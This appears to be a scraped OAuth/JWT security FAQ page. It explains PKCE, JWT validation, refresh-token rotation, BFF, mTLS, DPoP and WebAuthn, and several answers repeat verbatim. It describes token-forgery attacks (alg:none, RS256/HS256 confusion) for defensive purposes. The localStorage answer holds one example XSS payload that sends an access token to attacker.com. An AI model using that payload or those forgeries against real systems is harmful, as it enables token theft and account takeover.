PKCE (RFC 7636) prevents authorization code interception attacks in OAuth 2.0. Attack scenario: attacker intercepts authorization code from redirect URI (via malicious app with same custom scheme, network sniffing, or browser history), exchanges code for access token at token endpoint without client secret (public clients like SPAs/mobile apps don't have secrets), gains unauthorized access. PKCE mitigation: Client generates cryptographically random code_verifier (43-128 characters), creates code_challenge = BASE64URL(SHA256(code_verifier)), sends challenge in authorization request. Token exchange requires original code_verifier. Auth server validates SHA256(code_verifier) == code_challenge before issuing tokens. Even if authorization code is intercepted, attacker cannot exchange it without the code_verifier (stored client-side, never transmitted until token exchange). Required for all OAuth 2.1 clients (draft standard, expected 2025-2026).
OAuth JWT Security FAQ & Answers
56 expert OAuth JWT Security answers researched from official documentation. Every answer cites authoritative sources you can verify.
unknown
56 questionsImplementation: (1) Generate code_verifier: crypto.randomBytes(32).toString('base64url') (43+ characters, cryptographically random - NOT Math.random()). (2) Create code_challenge: BASE64URL(SHA256(code_verifier)) using S256 method (mandatory - 'plain' method deprecated). (3) Authorization request: https://auth.example.com/authorize?client_id=xxx&redirect_uri=xxx&response_type=code&code_challenge=${challenge}&code_challenge_method=S256. (4) Store code_verifier securely until token exchange (sessionStorage for web, Keychain for iOS, EncryptedSharedPreferences for Android). (5) Token request: POST /token with body {grant_type: 'authorization_code', code: 'abc123', code_verifier: verifier}. Security requirements: S256 method only (SHA-256 hashing), minimum 43 characters (256 bits entropy), never log verifier, never reuse across sessions. Browser support: crypto.subtle.digest('SHA-256') available in all modern browsers (Safari 11+, Chrome 37+).
Attack: JWT header includes user-controlled 'alg' parameter. If server doesn't validate algorithm, attacker sets {"alg":"none"}, removes signature portion, modifies payload (e.g., {"sub":"user123","role":"admin"}), server accepts unsigned token as valid. Early JWT libraries accepted 'none' as valid algorithm per spec (intended for debugging only). Attackers bypass case-sensitive checks with variants: 'None', 'NONE', 'nOnE'. Prevention: (1) Explicitly reject 'none' algorithm regardless of case: jwt.verify(token, secret, {algorithms: ['RS256']}) - throws error if alg !== RS256. (2) Use algorithm whitelist (never blacklist): whitelist 'RS256', 'ES256', or 'HS256' only. (3) Never trust 'alg' header value - enforce server-side. (4) Use maintained libraries (@auth/jose, jsonwebtoken 9.0+) that reject 'none' by default. Modern libraries (2024-2025) block 'none' attacks automatically, but explicit algorithm validation is defense-in-depth.
Attack: JWT signed with RS256 (asymmetric - public key verifies, private key signs). Attacker changes header to {"alg":"HS256"} (symmetric - shared secret signs and verifies), signs token using RS256 public key as HMAC secret (public keys are widely distributed). Server uses public key as HS256 secret to verify, accepts forged token. Root cause: public key intended for RS256 verification used as HS256 secret. Prevention: (1) Enforce algorithm in verification - never allow dynamic switching: jwt.verify(token, publicKey, {algorithms: ['RS256']}) (rejects if alg !== RS256). (2) Use separate keys for different algorithms (RS256 keys ≠ HS256 keys). (3) Store expected algorithm in server config, not trust token header. (4) Prefer ES256 over RS256 (smaller signatures, same security). Never use same key for signing and encryption. Modern defense: libraries like @auth/jose, PyJWT 2.8+ prevent algorithm confusion by requiring explicit algorithm parameter.
Mandatory validation checks: (1) Signature verification: always use jwt.verify() (NOT jwt.decode() which skips validation). (2) Expiration (exp): reject tokens with exp < now - prevents token reuse. (3) Not Before (nbf): reject tokens with nbf > now - prevents premature use. (4) Issued At (iat): reject tokens with iat > now + grace_period (5 min) - detects clock skew attacks. (5) Audience (aud): validate token intended for your API: jwt.verify(token, secret, {audience: 'api.example.com'}). (6) Issuer (iss): validate trusted issuer: {issuer: 'https://auth.example.com'}. (7) Algorithm whitelist: {algorithms: ['RS256']} only. Additional: Use short lifetimes (5-15 min access tokens), implement jti (token ID) blacklist for revocation, validate claims before authorization logic. Library example: jwt.verify(token, secret, {algorithms: ['RS256'], issuer: 'https://auth.example.com', audience: 'api.example.com', maxAge: '1h'}) enforces all checks.
Algorithm recommendations (2025): (1) ES256 (ECDSA with P-256): preferred for new implementations - 256-bit security, 64-byte signatures (vs 256 bytes for RS256), faster verification, quantum-resistant migration path. (2) RS256 (RSA with SHA-256): acceptable for existing systems - requires 2048-bit minimum (4096-bit for high security), 256-byte signatures. (3) EdDSA (Ed25519): newest, most secure - excellent performance, 64-byte signatures, quantum-resistant properties, limited library support (increasing in 2025). Avoid: HS256 for public APIs (shared secret distribution risk) - use only for internal services. Minimum key sizes: HS256 requires ≥256 bits (32 bytes): crypto.randomBytes(32). RS256 requires ≥2048 bits. ES256 uses P-256 curve (256 bits). Key rotation: rotate every 30-90 days, use kid (key ID) header, publish JWKS at /.well-known/jwks.json. Never: 'none' algorithm, 'plain' PKCE, HS256 with weak secrets (<256 bits).
BFF pattern solves SPA token storage problem: browsers cannot securely store tokens (localStorage/sessionStorage vulnerable to XSS attacks). Architecture: SPA ↔ BFF (Node.js/Express backend) ↔ OAuth server ↔ Resource APIs. BFF responsibilities: (1) Acts as OAuth confidential client (has client_secret, SPAs don't). (2) Handles authorization code flow with PKCE. (3) Stores refresh tokens server-side (encrypted, in Redis/PostgreSQL). (4) Issues httpOnly session cookies to SPA (not tokens). (5) Proxies API requests: validates session cookie, retrieves access token, calls APIs, returns data. Flow: User login → BFF redirects to OAuth server → callback to BFF → BFF exchanges code for tokens → stores refresh token in Redis → sets httpOnly cookie (session ID) → SPA receives cookie. Benefits: tokens never exposed to JavaScript (XSS immunity), automatic token renewal (transparent to SPA), session-based revocation (delete from Redis). Cookie security: {httpOnly: true, secure: true, sameSite: 'strict'}.
BFF handles token renewal transparently: (1) Store access token + refresh token + expiration in server session (Redis): {accessToken, refreshToken, expiresAt: Date.now() + 900000}. (2) On each API request, check expiration: if Date.now() > expiresAt - 60000 (1 min before expiry), refresh proactively. (3) Refresh flow: call OAuth token endpoint with refresh token, receive new access + refresh tokens, update session in Redis, mark old refresh token as used (reuse detection). (4) Return API response to SPA (renewal invisible). Implementation: if (Date.now() > session.expiresAt - 60000) { const tokens = await oauth.refreshAccessToken(session.refreshToken); session.accessToken = tokens.access_token; session.refreshToken = tokens.refresh_token; session.expiresAt = Date.now() + tokens.expires_in * 1000; await redis.setex('session:' + sessionId, 86400, JSON.stringify(session)); }. Handle refresh failures: if 401 on refresh, clear session, redirect SPA to login (possible token theft detection). Race condition prevention: use distributed lock (Redis) to prevent concurrent refresh attempts.
localStorage/sessionStorage are vulnerable to XSS (Cross-Site Scripting) attacks. Any JavaScript code running in your SPA can read these storage APIs - including malicious code injected via XSS. Attack scenario: attacker injects <script>fetch('https://attacker.com?token=' + localStorage.getItem('access_token'))</script> via unescaped user input, steals token, impersonates user. Modern SPAs are complex (dependencies, third-party libraries, user-generated content) - impossible to guarantee 100% XSS protection. localStorage persists across sessions - stolen token valid for full lifetime (days-months for refresh tokens). sessionStorage cleared on tab close but still vulnerable during session. Alternative solutions: (1) BFF pattern with httpOnly cookies (JavaScript cannot read, XSS immunity). (2) Service Worker with in-memory storage (cleared on page refresh, reduced window). (3) Re-authenticate on each session (no storage, poor UX). OAuth 2.0 for Browser-Based Applications spec (IETF 2025) recommends BFF pattern over localStorage. Only exception: short-lived access tokens (5-15 min) in sessionStorage with no refresh token (acceptable risk for low-security apps).
Refresh token rotation: each time client exchanges refresh token for new access token, server issues new refresh token and immediately invalidates old one. Old model (OAuth 2.0): static refresh token (never expires or changes) - stolen token = permanent access until manual revocation. Rotation model (OAuth 2.1 mandatory): client sends refresh token → server validates → issues new access token + new refresh token → invalidates old refresh token → client stores new refresh token. Security benefits: (1) Limits exposure window - stolen token only valid until next legitimate refresh (minutes-hours vs days-months). (2) Enables theft detection via reuse detection. (3) Single-use tokens reduce credential lifetime. Implementation: const newRefreshToken = crypto.randomBytes(32).toString('hex'); await db.updateSession({refreshToken: newRefreshToken}); await redis.setex('used:' + oldRefreshToken, 2592000, sessionId); res.json({access_token: newAccessToken, refresh_token: newRefreshToken}). OAuth 2.1 requirement: mandatory for public clients (SPAs, mobile apps), recommended for confidential clients. Adoption: Auth0, Okta, Google, Microsoft enforce rotation as of 2024-2025.
Reuse detection identifies token theft: if already-used refresh token is reused, it indicates one party has stolen token (either attacker stole from legitimate user, or legitimate user has stolen token). Implementation: (1) On refresh, mark old token as used: redis.setex('used:' + oldRefreshToken, tokenLifetime, sessionId). (2) On next refresh request, check if token already used: if (await redis.get('used:' + refreshToken)) { await revokeAllTokens(sessionId); throw new Error('Token reuse detected'); }. (3) If reused, revoke entire token family (all tokens for that session/user), force re-authentication. Detection scenario: Legitimate user refreshes (10:00 AM) → new token issued, old marked used. Attacker uses stolen old token (10:05 AM) → reuse detected → all tokens revoked. Legitimate user's next request fails → forced to re-authenticate. Grace period: some providers (Okta) allow 3-second grace period for network retries - old token valid briefly to handle race conditions. Monitoring: log reuse events as high-severity security alerts, track revocation patterns (multiple revocations = active attack).
mTLS (Mutual TLS) authenticates both client and server using X.509 certificates during TLS handshake. Standard TLS: only server presents certificate (client trusts server). mTLS: both parties present certificates (mutual authentication). Client proves identity with certificate + private key (cryptographically strong, no credentials in requests). Server validates client certificate against trusted Certificate Authority (CA). Use cases: (1) Service-to-service authentication in microservices (Istio, Linkerd use mTLS by default). (2) B2B APIs - each partner receives unique client certificate. (3) IoT device authentication - hardware-backed certificates (TPM, Secure Enclave). (4) PCI DSS compliance - required for financial transactions. Benefits: strong authentication (private key proves identity), no credential leakage (no API keys in headers/logs), non-repudiation (cryptographic proof of sender), mutual trust (both parties verified). Limitations: certificate distribution complexity, revocation overhead (CRL/OCSP), no user context (identifies service, not end-user). Best practice: mTLS for service-to-service, OAuth 2.0 + JWT for user authentication, combine both for end-to-end security.
Implementation steps: (1) Create Certificate Authority: openssl genrsa -out ca-key.pem 4096 && openssl req -new -x509 -days 3650 -key ca-key.pem -out ca-cert.pem. (2) Create client certificate signed by CA: openssl genrsa -out client-key.pem 4096 && openssl req -new -key client-key.pem -out client.csr && openssl x509 -req -in client.csr -CA ca-cert.pem -CAkey ca-key.pem -out client-cert.pem -days 365. (3) Server configuration (Node.js): https.createServer({key: fs.readFileSync('server-key.pem'), cert: fs.readFileSync('server-cert.pem'), ca: fs.readFileSync('ca-cert.pem'), requestCert: true, rejectUnauthorized: true}, (req, res) => {const cert = req.socket.getPeerCertificate(); if (!req.client.authorized) return res.sendStatus(401); res.end('Hello ' + cert.subject.CN);}). (4) Client request: https.request({key: fs.readFileSync('client-key.pem'), cert: fs.readFileSync('client-cert.pem'), ca: fs.readFileSync('ca-cert.pem')}). Security: store private keys in HSM/KMS, use 90-day certificate lifetimes, implement CRL/OCSP for revocation, rotate regularly via cert-manager (Kubernetes) or AWS ACM.
Phantom Token pattern (by Curity, 2018) separates external token format (opaque reference token) from internal format (JWT) to combine security of opaque tokens with performance of JWTs. Problem: (1) JWTs exposed to clients can be decoded (information disclosure, no revocation). (2) Reference tokens require every microservice to call auth server for validation (latency, load). Solution: API Gateway performs token introspection once, converts opaque token to JWT for internal use. Flow: Client (opaque token) → API Gateway (introspect at auth server, convert to JWT) → Microservices (validate JWT locally, no auth server call). Benefits: (1) External security - opaque tokens cannot be decoded/forged. (2) Internal performance - microservices validate JWTs locally (<1ms). (3) Centralized revocation - auth server controls token validity. (4) Reduced bandwidth - opaque tokens smaller (32 bytes vs 1-4KB JWT). Gateway caches introspection results (60s TTL) - reduces auth server load 90%+. Use case: public-facing APIs with many microservices (introspect once at gateway, not N times per service).
API Gateway implementation: (1) Receive request with opaque token from client. (2) Check cache for introspection result: const cachedJWT = await redis.get('phantom:' + opaqueToken). (3) If cache miss, introspect at auth server (OAuth RFC 7662): fetch('https://auth.example.com/introspect', {method: 'POST', body: 'token=' + opaqueToken + '&client_id=' + gatewayId + '&client_secret=' + secret}). (4) Validate introspection result: if (!result.active) return 401. (5) Create internal JWT with claims: const jwt = jsonwebtoken.sign({sub: result.sub, scope: result.scope, exp: result.exp}, internalSecret). (6) Cache JWT: redis.setex('phantom:' + opaqueToken, Math.min(result.exp - now, 60), jwt). (7) Forward request to microservice with JWT header: req.headers.Authorization = 'Bearer ' + jwt. (8) Microservice validates JWT locally (no auth server call). Security: protect internal JWT signing key (rotate every 30-90 days), use TLS for internal network (prevent JWT interception), microservices must validate JWT signature + expiration. Implementation options: Kong/Tyk plugins, custom middleware (Express/FastAPI), service mesh (Istio/Linkerd).
WebAuthn (W3C standard, part of FIDO2) enables phishing-resistant passwordless authentication via biometrics (Touch ID, Face ID), security keys (YubiKey), or platform authenticators (Windows Hello). Eliminates password vulnerabilities (credential stuffing, phishing, weak passwords). Architecture: public-key cryptography - private key stored in authenticator (hardware-backed, never extractable), public key stored on server. Registration: user registers authenticator → browser generates key pair in secure hardware → public key sent to server → private key remains in device (Secure Enclave, TPM, TEE). Authentication: server sends cryptographic challenge → authenticator signs with private key (requires biometric/PIN) → server verifies signature with public key → user authenticated. Security benefits: (1) Phishing-resistant - credential bound to origin (example.com), cannot be used on phishing site (examp1e.com). (2) No shared secrets - server never receives private key or biometric data. (3) Replay protection - counter increments on each use, server rejects if counter ≤ stored value. Browser support (2025): Chrome 88+, Safari 14+, Firefox 92+ (95%+ market share). Device support: iOS 14+, Android 9+, Windows 10+.
Registration flow: (1) Server generates random challenge: crypto.randomBytes(32). (2) Client calls WebAuthn API: const credential = await navigator.credentials.create({publicKey: {challenge: Uint8Array.from(challenge), rp: {name: 'My App', id: 'example.com'}, user: {id: Uint8Array.from(userId), name: '[email protected]', displayName: 'Alice'}, pubKeyCredParams: [{alg: -7, type: 'public-key'}], authenticatorSelection: {authenticatorAttachment: 'platform', userVerification: 'required'}, timeout: 60000}}). (3) User performs biometric/PIN verification (browser prompt). (4) Authenticator generates key pair in secure hardware, returns public key + attestation. (5) Client sends credential.response to server. (6) Server verifies using @simplewebauthn/server: const verification = await verifyRegistrationResponse({response: credential, expectedChallenge, expectedOrigin: 'https://example.com', expectedRPID: 'example.com'}). (7) If verified, store: {userId, credentialId: verification.registrationInfo.credentialID, publicKey: verification.registrationInfo.credentialPublicKey, counter: verification.registrationInfo.counter}. User can now authenticate passwordlessly. Allow multiple authenticators (Face ID + YubiKey backup).
Authentication flow: (1) Server generates random challenge: crypto.randomBytes(32), looks up user's registered credentials. (2) Client calls WebAuthn API: const assertion = await navigator.credentials.get({publicKey: {challenge: Uint8Array.from(challenge), allowCredentials: [{id: Uint8Array.from(credentialId), type: 'public-key'}], timeout: 60000, userVerification: 'required'}}). (3) User performs biometric/PIN verification. (4) Authenticator signs challenge with private key (stored in secure hardware), returns signature + counter. (5) Client sends assertion to server. (6) Server verifies: const credential = await db.getCredential(assertionCredentialId); const verification = await verifyAuthenticationResponse({response: assertion, expectedChallenge, expectedOrigin: 'https://example.com', expectedRPID: 'example.com', authenticator: {credentialPublicKey: credential.publicKey, credentialID: credential.credentialId, counter: credential.counter}}). (7) If verified, update counter (replay protection): db.updateCounter(credential.id, verification.authenticationInfo.newCounter), create session. UX: instant authentication (2 seconds), no password entry, works offline (local verification).
Security benefits: (1) Phishing-resistant - credentials bound to origin, cannot be used on fake domains. (2) No credential theft - private key never leaves device (hardware-backed in Secure Enclave, TPM, TEE), biometric data processed locally (never sent to server). (3) Replay protection - signature counter increments on each use, server rejects replayed authentications. (4) Strong cryptography - ECDSA P-256 or Ed25519 (256-bit security). (5) No shared secrets - server breach doesn't expose credentials (only public keys stolen). (6) Resistant to credential stuffing, brute force, password spraying. Limitations: (1) Device dependency - user needs compatible device (solved with cross-platform authenticators like YubiKey). (2) Recovery complexity - lost device = lost credentials (mitigate by registering multiple authenticators). (3) Browser support - 95%+ market share but some legacy browsers unsupported. (4) User education - unfamiliar UX requires onboarding. Best practices: offer multiple authenticator types (platform + security key), provide fallback authentication (SMS OTP), progressive rollout (opt-in initially). Compliance: satisfies NIST AAL3, PSD2 SCA requirements.
Use standard claims (RFC 7519): sub (user ID - immutable, not email), iat (issued at - Unix timestamp), exp (expiration - Unix timestamp), nbf (not before), iss (issuer URL), aud (audience - API identifier), jti (unique token ID for revocation). Add custom claims for authorization (not authentication): role (admin, user, guest), org_id (tenant identifier), permissions (array of granted permissions). Avoid: (1) Sensitive data (passwords, SSNs, credit cards) - JWT is base64-encoded plaintext, anyone can decode. (2) Large objects (full user profile, addresses) - store in database, reference by ID. (3) Email as sub - emails change, use immutable user ID. (4) Redundant data - JWT embedded in every request, minimize size. Good example: {sub: 'usr_123', role: 'admin', org_id: '456', permissions: ['users:write', 'orders:read'], iat: 1704067200, exp: 1704070800} (150 bytes). Bad example: {email: '[email protected]', full_name: 'Alice', address: {...}, preferences: {...}} (800 bytes). Key principle: include only what's needed for authorization decisions, fetch additional data from database when required.
JWT size impacts bandwidth and performance (embedded in every request via cookies/headers). Optimization strategies: (1) Minimize claims - only include authorization data, fetch profile from database. (2) Use short keys - role instead of user_role_name, oid instead of organization_id. (3) Avoid arrays - permissions: ['read', 'write', 'delete'] (150 bytes) → use bitmask permissions: 7 (15 bytes) if feasible. (4) Choose compact algorithm - ES256 (64-byte signature) vs RS256 (256-byte signature). (5) Remove whitespace - use compact JSON serialization. Size targets: Minimal JWT (4 claims): ~200 bytes. Medium JWT (8 claims): ~400 bytes. Large JWT (20 claims): ~1,500 bytes. Size limits: cookies 4KB (browser limit), HTTP headers 8KB (nginx default) - keep tokens <2KB for safety margin. Trade-off: smaller tokens = better performance but may require additional database queries for user data. Performance: 2KB JWT in every request = 2MB per 1000 requests vs 200 bytes = 200KB (10x reduction). Compression: rarely used (adds complexity, minimal benefit for already-compact JWTs).
Secure transmission requirements: (1) HTTPS mandatory - JWT transmitted in plaintext (base64-encoded), HTTPS prevents man-in-the-middle interception. (2) Cookie security - if using cookies: res.cookie('token', jwt, {httpOnly: true, secure: true, sameSite: 'strict', maxAge: 900000}). httpOnly prevents JavaScript access (XSS immunity), secure enforces HTTPS-only, sameSite prevents CSRF. (3) Authorization header - if using headers: Authorization: Bearer <token>. Never embed in URL (logged in proxy/CDN/browser history). (4) Never log tokens - exclude Authorization header from application logs, redact in monitoring tools. (5) Use short lifetimes - access tokens 5-15 minutes (limits damage if intercepted), refresh tokens 7-30 days (rotate on each use). (6) TLS 1.3 - use latest TLS version (stronger encryption, faster handshake). Storage: server-side sessions (Redis) > httpOnly cookies > sessionStorage (XSS risk) > never localStorage. Monitoring: log token validation failures, track unusual access patterns (same token from multiple IPs = possible theft), implement rate limiting.
Token lifetime recommendations: Access tokens (short-lived): 5-15 minutes for high-security (banking, healthcare), 15-60 minutes for standard applications, 1-4 hours for low-security (public content). Short lifetimes limit damage if token stolen. Refresh tokens (long-lived): 7-30 days for mobile/desktop apps (balance security and UX), 1-7 days for web apps (shorter window acceptable), single-use with rotation (OAuth 2.1 mandatory). Rationale: access tokens stateless (cannot revoke before expiration) - short lifetime = revocation window. Refresh tokens enable long sessions without re-authentication but must rotate to detect theft. Sliding expiration: extend expiration on each use: exp = now + 900 (15 min) - keeps active users authenticated. Implementation: jwt.sign(payload, secret, {expiresIn: '15m'}) auto-adds exp claim. Refresh before expiry: client refreshes when exp - now < 60 seconds (proactive renewal, prevents session interruption). Special cases: remember me = 30-90 day refresh token, admin actions = re-authenticate regardless of token validity, API keys = no expiration (rotate manually).
Key rotation process (every 30-90 days): (1) Generate new key pair: openssl ecparam -genkey -name prime256v1 -out new-private-key.pem && openssl ec -in new-private-key.pem -pubout -out new-public-key.pem. (2) Assign unique key ID (kid): kid: 'key-2025-01'. (3) Publish both old and new public keys at JWKS endpoint (/.well-known/jwks.json): {keys: [{kid: 'key-2024-12', kty: 'EC', ...}, {kid: 'key-2025-01', kty: 'EC', ...}]}. (4) Start signing new tokens with new key (include kid in header): jwt.sign(payload, newPrivateKey, {algorithm: 'ES256', header: {kid: 'key-2025-01'}}). (5) Validation accepts both keys during grace period (grace = max token lifetime, e.g., 1 hour): verify with key matching kid from token header. (6) After grace period (all old tokens expired), remove old key from JWKS. Security: store private keys in KMS (AWS Secrets Manager, HashiCorp Vault), never commit to git, restrict access (IAM policies), audit key usage. Automation: use certbot, cert-manager (Kubernetes), or AWS ACM for automatic rotation. Emergency rotation: if key compromised, rotate immediately, revoke all active tokens (jti blacklist), force re-authentication.
Scope design patterns: (1) Resource-based: read:orders, write:orders, delete:users - mirrors resources. (2) Action-based: orders:read, orders:write, users:delete - mirrors REST verbs (preferred - clearer intent). (3) Hierarchical: api:read (includes orders:read, products:read), api:admin (includes all) - reduces token size but less granular. Best practice: action-based with consistent naming. Scope structure: <resource>:<action> - orders:read, orders:write, products:read. Wildcards: orders:* (all order permissions), *:read (read-only across all resources). Validation layers: (1) API Gateway validates scope exists in token: if (!token.scope.includes('orders:read')) return 401. (2) Microservice validates claims for data access: if (order.userId !== token.sub && token.role !== 'admin') return 403. Example token: {sub: 'user123', scope: 'orders:read orders:write products:read', role: 'customer', org_id: '456'}. Scope vs role: scope = coarse permissions (what can be accessed), role = fine-grained (who can access what data). Grant minimal scopes (principle of least privilege).
Combine scopes (coarse authorization) with claims (fine-grained context) for data-level access control. Architecture: API Gateway validates scopes, microservices validate claims. Implementation: (1) Token structure: {sub: 'user456', scope: 'orders:read', role: 'customer', org_id: '789'}. (2) Gateway middleware: if (!token.scope.includes('orders:read')) return 403 - validates permission to access orders endpoint. (3) Microservice logic: const order = await db.getOrder(orderId); if (token.role !== 'admin' && order.userId !== token.sub) return 403 - validates permission to access this specific order. (4) Multi-tenant filtering: const orders = await db.getOrders({orgId: token.org_id}) - isolates tenant data. Advanced: externalized authorization with policy engine (OPA, AWS Verified Permissions): define policies in Rego allow {input.method == 'GET'; input.user.role == 'admin' OR data.orders[input.order_id].user_id == input.user.sub}, query on each request. Performance: cache authorization decisions (60s TTL), validate scopes at edge (Gateway), validate claims in service. Monitoring: audit authorization failures (log user, resource, action, reason).
DPoP (RFC 9449, September 2023) cryptographically binds OAuth access and refresh tokens to client's public/private key pair, preventing token theft and replay attacks. Problem: bearer tokens (anyone with token = authorized) - stolen tokens usable from any device/IP. DPoP solution: client proves possession of private key on each request via DPoP proof JWT. Token binding process: (1) Client generates key pair (ES256/RS256). (2) Token request includes DPoP proof JWT header with public key embedded. (3) Auth server validates proof, issues token with confirmation claim cnf.jkt (SHA-256 thumbprint of public key). (4) Resource API requests include DPoP proof JWT signed with private key. (5) API validates: proof signature matches public key, public key hash matches cnf.jkt in token, HTTP method (htm) and URL (htu) in proof match request. Stolen token unusable without private key (stored in device, never transmitted). Benefits: simpler than mTLS (no PKI infrastructure), works in browsers (Web Crypto API), FAPI 2.0 compliant. Adoption: Okta, Auth0, Curity, Spring Security support as of 2024-2025.
Implementation: (1) Generate key pair: const keyPair = await crypto.subtle.generateKey({name: 'ECDSA', namedCurve: 'P-256'}, true, ['sign', 'verify']). Export public key as JWK. (2) Create DPoP proof JWT for token request: Header {typ: 'dpop+jwt', alg: 'ES256', jwk: publicKeyJWK}, Payload {jti: uuid(), htm: 'POST', htu: 'https://auth.example.com/token', iat: Math.floor(Date.now()/1000)}. Sign with private key. (3) Token request: POST /token with header DPoP: <proof-jwt>, body {grant_type: 'authorization_code', code: 'abc', code_verifier: 'xyz'}. (4) Receive DPoP-bound access token with cnf.jkt claim. (5) API request: create new DPoP proof for each request (unique jti, current htm/htu/iat), include headers Authorization: DPoP <access-token> and DPoP: <proof-jwt>. Security: generate unique jti per request (prevents replay), validate htm/htu match actual request, private key never leaves device (use Web Crypto API, Keychain, TPM). Libraries: @auth/jose (JavaScript), Spring Security OAuth (Java), Authlete SDK (multi-language).
PKCE (RFC 7636) prevents authorization code interception attacks in OAuth 2.0. Attack scenario: attacker intercepts authorization code from redirect URI (via malicious app with same custom scheme, network sniffing, or browser history), exchanges code for access token at token endpoint without client secret (public clients like SPAs/mobile apps don't have secrets), gains unauthorized access. PKCE mitigation: Client generates cryptographically random code_verifier (43-128 characters), creates code_challenge = BASE64URL(SHA256(code_verifier)), sends challenge in authorization request. Token exchange requires original code_verifier. Auth server validates SHA256(code_verifier) == code_challenge before issuing tokens. Even if authorization code is intercepted, attacker cannot exchange it without the code_verifier (stored client-side, never transmitted until token exchange). Required for all OAuth 2.1 clients (draft standard, expected 2025-2026).
Implementation: (1) Generate code_verifier: crypto.randomBytes(32).toString('base64url') (43+ characters, cryptographically random - NOT Math.random()). (2) Create code_challenge: BASE64URL(SHA256(code_verifier)) using S256 method (mandatory - 'plain' method deprecated). (3) Authorization request: https://auth.example.com/authorize?client_id=xxx&redirect_uri=xxx&response_type=code&code_challenge=${challenge}&code_challenge_method=S256. (4) Store code_verifier securely until token exchange (sessionStorage for web, Keychain for iOS, EncryptedSharedPreferences for Android). (5) Token request: POST /token with body {grant_type: 'authorization_code', code: 'abc123', code_verifier: verifier}. Security requirements: S256 method only (SHA-256 hashing), minimum 43 characters (256 bits entropy), never log verifier, never reuse across sessions. Browser support: crypto.subtle.digest('SHA-256') available in all modern browsers (Safari 11+, Chrome 37+).
Attack: JWT header includes user-controlled 'alg' parameter. If server doesn't validate algorithm, attacker sets {"alg":"none"}, removes signature portion, modifies payload (e.g., {"sub":"user123","role":"admin"}), server accepts unsigned token as valid. Early JWT libraries accepted 'none' as valid algorithm per spec (intended for debugging only). Attackers bypass case-sensitive checks with variants: 'None', 'NONE', 'nOnE'. Prevention: (1) Explicitly reject 'none' algorithm regardless of case: jwt.verify(token, secret, {algorithms: ['RS256']}) - throws error if alg !== RS256. (2) Use algorithm whitelist (never blacklist): whitelist 'RS256', 'ES256', or 'HS256' only. (3) Never trust 'alg' header value - enforce server-side. (4) Use maintained libraries (@auth/jose, jsonwebtoken 9.0+) that reject 'none' by default. Modern libraries (2024-2025) block 'none' attacks automatically, but explicit algorithm validation is defense-in-depth.
Attack: JWT signed with RS256 (asymmetric - public key verifies, private key signs). Attacker changes header to {"alg":"HS256"} (symmetric - shared secret signs and verifies), signs token using RS256 public key as HMAC secret (public keys are widely distributed). Server uses public key as HS256 secret to verify, accepts forged token. Root cause: public key intended for RS256 verification used as HS256 secret. Prevention: (1) Enforce algorithm in verification - never allow dynamic switching: jwt.verify(token, publicKey, {algorithms: ['RS256']}) (rejects if alg !== RS256). (2) Use separate keys for different algorithms (RS256 keys ≠ HS256 keys). (3) Store expected algorithm in server config, not trust token header. (4) Prefer ES256 over RS256 (smaller signatures, same security). Never use same key for signing and encryption. Modern defense: libraries like @auth/jose, PyJWT 2.8+ prevent algorithm confusion by requiring explicit algorithm parameter.
Mandatory validation checks: (1) Signature verification: always use jwt.verify() (NOT jwt.decode() which skips validation). (2) Expiration (exp): reject tokens with exp < now - prevents token reuse. (3) Not Before (nbf): reject tokens with nbf > now - prevents premature use. (4) Issued At (iat): reject tokens with iat > now + grace_period (5 min) - detects clock skew attacks. (5) Audience (aud): validate token intended for your API: jwt.verify(token, secret, {audience: 'api.example.com'}). (6) Issuer (iss): validate trusted issuer: {issuer: 'https://auth.example.com'}. (7) Algorithm whitelist: {algorithms: ['RS256']} only. Additional: Use short lifetimes (5-15 min access tokens), implement jti (token ID) blacklist for revocation, validate claims before authorization logic. Library example: jwt.verify(token, secret, {algorithms: ['RS256'], issuer: 'https://auth.example.com', audience: 'api.example.com', maxAge: '1h'}) enforces all checks.
Algorithm recommendations (2025): (1) ES256 (ECDSA with P-256): preferred for new implementations - 256-bit security, 64-byte signatures (vs 256 bytes for RS256), faster verification, quantum-resistant migration path. (2) RS256 (RSA with SHA-256): acceptable for existing systems - requires 2048-bit minimum (4096-bit for high security), 256-byte signatures. (3) EdDSA (Ed25519): newest, most secure - excellent performance, 64-byte signatures, quantum-resistant properties, limited library support (increasing in 2025). Avoid: HS256 for public APIs (shared secret distribution risk) - use only for internal services. Minimum key sizes: HS256 requires ≥256 bits (32 bytes): crypto.randomBytes(32). RS256 requires ≥2048 bits. ES256 uses P-256 curve (256 bits). Key rotation: rotate every 30-90 days, use kid (key ID) header, publish JWKS at /.well-known/jwks.json. Never: 'none' algorithm, 'plain' PKCE, HS256 with weak secrets (<256 bits).
BFF pattern solves SPA token storage problem: browsers cannot securely store tokens (localStorage/sessionStorage vulnerable to XSS attacks). Architecture: SPA ↔ BFF (Node.js/Express backend) ↔ OAuth server ↔ Resource APIs. BFF responsibilities: (1) Acts as OAuth confidential client (has client_secret, SPAs don't). (2) Handles authorization code flow with PKCE. (3) Stores refresh tokens server-side (encrypted, in Redis/PostgreSQL). (4) Issues httpOnly session cookies to SPA (not tokens). (5) Proxies API requests: validates session cookie, retrieves access token, calls APIs, returns data. Flow: User login → BFF redirects to OAuth server → callback to BFF → BFF exchanges code for tokens → stores refresh token in Redis → sets httpOnly cookie (session ID) → SPA receives cookie. Benefits: tokens never exposed to JavaScript (XSS immunity), automatic token renewal (transparent to SPA), session-based revocation (delete from Redis). Cookie security: {httpOnly: true, secure: true, sameSite: 'strict'}.
BFF handles token renewal transparently: (1) Store access token + refresh token + expiration in server session (Redis): {accessToken, refreshToken, expiresAt: Date.now() + 900000}. (2) On each API request, check expiration: if Date.now() > expiresAt - 60000 (1 min before expiry), refresh proactively. (3) Refresh flow: call OAuth token endpoint with refresh token, receive new access + refresh tokens, update session in Redis, mark old refresh token as used (reuse detection). (4) Return API response to SPA (renewal invisible). Implementation: if (Date.now() > session.expiresAt - 60000) { const tokens = await oauth.refreshAccessToken(session.refreshToken); session.accessToken = tokens.access_token; session.refreshToken = tokens.refresh_token; session.expiresAt = Date.now() + tokens.expires_in * 1000; await redis.setex('session:' + sessionId, 86400, JSON.stringify(session)); }. Handle refresh failures: if 401 on refresh, clear session, redirect SPA to login (possible token theft detection). Race condition prevention: use distributed lock (Redis) to prevent concurrent refresh attempts.
